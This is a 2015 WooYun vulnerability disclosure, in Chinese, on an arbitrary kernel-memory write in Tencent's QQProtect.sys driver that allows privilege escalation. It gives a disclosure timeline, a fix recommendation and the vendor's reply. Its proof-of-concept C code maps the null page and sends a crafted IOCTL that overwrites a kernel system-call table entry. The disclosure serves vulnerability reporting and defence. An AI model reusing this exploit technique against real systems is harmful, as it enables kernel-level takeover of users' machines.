当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104097

漏洞标题:QQ驱动一处任意内核地址写漏洞导致提权

相关厂商:腾讯

漏洞作者: 路人甲

提交时间:2015-03-27 09:26

修复时间:2015-06-25 14:48

公开时间:2015-06-25 14:48

漏洞类型:权限提升

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-27: 细节已通知厂商并且等待厂商处理中
2015-03-27: 厂商已经确认,细节仅向厂商公开
2015-03-30: 细节向第三方安全合作伙伴开放
2015-05-21: 细节向核心白帽子及相关领域专家公开
2015-05-31: 细节向普通白帽子公开
2015-06-10: 细节向实习白帽子公开
2015-06-25: 细节向公众公开

简要描述:

QQProtect.sys对IoControlCode=22246c的处理逻辑不严谨,可导致对任意内核地址写数据,被恶意控制后会引发提权。

详细说明:

QQProtect.sys版本:2.10.7.3
出问题的代码:

根源.jpg


未对Outputbuffer的地址进行有效性校验,即使传入内核地址,也会引发0x1c字节的数据拷贝。只要提前在Null地址分配可执行内存,就能将内核调用跳转到Null地址执行,实现提权。

漏洞证明:

void Fuzz2(HANDLE hDev)
{
typedef LONG (WINAPI* NtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect);
NtAllocateVirtualMemory fnAllocate =
(NtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtAllocateVirtualMemory");
if(fnAllocate)
{
PBYTE pBase = (PBYTE)0x7;
SIZE_T len = 0x1000;
LONG lSucceed = fnAllocate(GetCurrentProcess(), (PVOID*)&pBase, 0, &len, 0x3000, PAGE_EXECUTE_READWRITE);
}
memcpy(0, "\xcc\xcc", 2);
DWORD dwReturned = 0;
char input[0x1000] = { 0 };
char output[4] = { 0 };
DWORD d = 0x2238f5c9;
memcpy(input+4, &d, 4);
d = 0x0e;
memcpy(input+8, &d, 4);
DeviceIoControl(hDev,
0x22246c,
(LPVOID)input,
100,
(LPVOID)0x80502ce4,// nt!KiServiceTable+0x64
0,
&dwReturned,
NULL);
}
void Fuzz1()
{
LPCTSTR DevName = _T("\\\\.\\QQProtect");
HANDLE hDev = CreateFile(DevName,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if( (HANDLE)-1 != hDev)
{
Fuzz2(hDev);
CloseHandle(hDev);
}
}


漏洞利用后的效果:

exploit1.jpg


exploit2.jpg

修复方案:

对IoControlCode=22246c的逻辑处理,增加对参数地址的有效性验证。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-03-27 14:46

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无